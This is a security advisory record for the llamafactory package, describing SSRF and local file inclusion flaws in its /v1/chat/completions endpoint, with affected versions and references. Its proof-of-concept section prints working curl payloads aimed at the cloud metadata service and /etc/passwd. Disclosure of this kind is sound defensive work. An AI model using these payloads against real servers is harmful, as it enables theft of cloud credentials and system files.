{"id":"PYSEC-2026-1573","summary":"LLaMA Factory's Chat API Contains Critical SSRF and LFI Vulnerabilities","details":"## Summary ##\n\nA Server-Side Request Forgery (SSRF) vulnerability in the chat API allows any authenticated user to force the server to make arbitrary HTTP requests to internal and external networks. This can lead to the exposure of sensitive internal services, reconnaissance of the internal network, or interaction with third-party services. The same mechanism also allows for a Local File Inclusion (LFI) vulnerability, enabling users to read arbitrary files from the server's filesystem.\n\n## Details ##\nThe vulnerability exists in the _process_request function within src/llamafactory/api/chat.py. This function is responsible for processing incoming multimodal content, including images, videos, and audio provided via URLs.\n\nThe function checks if the provided URL is a base64 data URI or a local file path (os.path.isfile). If neither is true, it falls back to treating the URL as a web URI and makes a direct HTTP GET request using requests.get(url, stream=True).raw without any validation or sanitization of the URL.\n\nVulnerable Code Snippets in _process_request:\n```\n# ...\n        elif input_item.type == \"image_url\":\n            # ...\n            else:  # web uri\n                image_stream = requests.get(image_url, stream=True).raw\n# ...\n        elif input_item.type == \"video_url\":\n            # ...\n            else:  # web uri\n                video_stream = requests.get(video_url, stream=True).raw\n# ...\n        elif input_item.type == \"audio_url\":\n            # ...\n            else:  # web uri\n                audio_stream = requests.get(audio_url, stream=True).raw\n# ...\n```\nThis vulnerable function is called by create_chat_completion_response and create_stream_chat_completion_response, which are in turn called by the public-facing /v1/chat/completions API endpoint in src/llamafactory/api/app.py. A user can craft a request to this endpoint containing a malicious URL in the messages payload to trigger the vulnerability.\n\n## PoC ##\nTo reproduce the vulnerability, send a POST request to the /v1/chat/completions endpoint with a JSON payload containing a URL that points to an internal or controlled external service.\n\nStart the LLaMA Factory API server.\n\nUse curl to send the malicious request. The following example uses a URL pointing to the AWS metadata service, a common SSRF attack vector.\n\nSSRF Payload:\n```\ncurl -X POST \"http://127.0.0.1:8000/v1/chat/completions\" \\\n-H \"Content-Type: application/json\" \\\n-H \"Authorization: Bearer your_api_key\" \\\n-d '{\n  \"model\": \"your-model-name\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"What is in this image?\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"http://169.254.169.254/latest/meta-data/\"\n          }\n        }\n      ]\n    }\n  ]\n}'\n```\nLFI Payload:\n```\ncurl -X POST \"http://127.0.0.1:8000/v1/chat/completions\" \\\n-H \"Content-Type: application/json\" \\\n-H \"Authorization: Bearer your_api_key\" \\\n-d '{\n  \"model\": \"your-model-name\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\n          \"type\": \"text\",\n          \"text\": \"What is in this image?\"\n        },\n        {\n          \"type\": \"image_url\",\n          \"image_url\": {\n            \"url\": \"/etc/passwd\"\n          }\n        }\n      ]\n    }\n  ]\n}'\n```\nThe server will make a request to the specified URL or read the specified local file.\n\n## Impact ##\nVulnerability Type: Server-Side Request Forgery (SSRF) and Local File Inclusion (LFI).\n\nImpacted Component: The API server, specifically the /v1/chat/completions endpoint.\n\nWho is impacted: Any user who can send requests to the chat API. The vulnerability allows an attacker to bypass firewalls and access internal network resources, query cloud metadata services for credentials, or read sensitive files on the server. The severity is critical.\n\n## Credits\nWenhao Wu, ChengGao, Alibaba Cloud Intelligence Security Team","aliases":["CVE-2025-61784","GHSA-527m-2xhr-j27g"],"modified":"2026-07-07T17:46:54.089853273Z","published":"2026-07-07T16:03:06.927783Z","references":[{"type":"WEB","url":"https://github.com/hiyouga/LlamaFactory/security/advisories/GHSA-527m-2xhr-j27g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61784"},{"type":"WEB","url":"https://github.com/hiyouga/LLaMAFactory/commit/95b7188090a1018935c9dc072bfc97f24f1c96e9"},{"type":"PACKAGE","url":"https://github.com/hiyouga/LLaMA-Factory"},{"type":"PACKAGE","url":"https://pypi.org/project/llamafactory"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-527m-2xhr-j27g"}],"affected":[{"package":{"name":"llamafactory","ecosystem":"PyPI","purl":"pkg:pypi/llamafactory"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.9.4"}]}],"versions":["0.7.1","0.8.0","0.8.1","0.8.2","0.8.3","0.9.0","0.9.1","0.9.2","0.9.3"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/llamafactory/PYSEC-2026-1573.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L"}]}